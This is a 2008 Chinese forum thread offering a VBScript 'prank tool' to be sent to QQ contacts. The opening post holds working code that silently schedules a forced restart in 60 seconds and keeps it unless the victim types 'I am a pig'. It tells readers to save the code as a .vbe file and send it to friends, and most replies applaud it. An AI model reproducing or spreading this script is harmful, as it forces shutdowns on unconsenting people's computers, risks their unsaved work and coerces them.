我爱电脑技术论坛 » QQ专区 » 让别人重启的QQ整蛊小工具

bananalyc 发表于 2008-8-27 22:09

让别人重启的QQ整蛊小工具

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"
把上面的文字复制到记事本内。另存为名字随便你起记住后面的一定要加 .vbe
使用文件传送给朋友只要朋友一打开一分钟就会关机。如上面说的要你说那三个字就不会关机了哈哈大家试试吧。
我真晕死!有些朋友,不相信是真的,自己试自己搞到死机,没必要要试自己!搞到死机!

[[i] 本帖最后由 bananalyc 于 2008-9-2 01:43 编辑 [/i]]

怕瓦落地 发表于 2008-8-27 22:13

:)106:) 是什么呀？

wuxiugui 发表于 2008-8-27 22:15

晕死。空灵。你真坏。不过我喜欢。。o(∩_∩)o...哈哈、强烈支持下。。

xuxhe 发表于 2008-8-27 22:39

看一下行不行的啊，有没有病毒啊

lkmwfndx 发表于 2008-8-27 23:03

看下啊，真是好东西啊

wangzhe1984 发表于 2008-8-28 00:59

晕死。空灵。你真坏。不过我喜欢。。o(∩_∩)o...哈哈、强烈支持下。。

6232639 发表于 2008-8-28 01:10

看看``~~不知道会整成啥样。。。

616145027 发表于 2008-8-28 01:24

害死的东西我喜欢:)102:)

junzai001 发表于 2008-8-28 03:19

ffffffffffffffffffffffffffffffffffffffffffffff

spook.munich 发表于 2008-8-28 07:40

什么啊 我看看:)102:)

acelove 发表于 2008-8-28 12:13

[$156] [$156] [$156] [$155] [$155] [$155] [$155] 很好很强大

LMZ 发表于 2008-8-28 12:33

sdafljasldjkff

asdfjalsdjlfk;ja

lt710709 发表于 2008-8-28 19:03

怎么搞法？我顶顶！！

h2c2joeip 发表于 2008-8-28 20:27

?

行不行:)102:) :)102:)

5267481 发表于 2008-8-28 20:33

:)16) 是什么啊   我看看

林子学习 发表于 2008-8-28 20:38

看看，真的我顶下

紫薰菡烟 发表于 2008-8-28 20:40

看看...............

kiss 发表于 2008-8-28 20:46

[$163] [$163] 看看

98695795 发表于 2008-8-28 23:49

什么好东东~?                       :)105:)

641168948 发表于 2008-8-29 08:42

挖哈哈，这个一定要看的

查看完整版本: 让别人重启的QQ整蛊小工具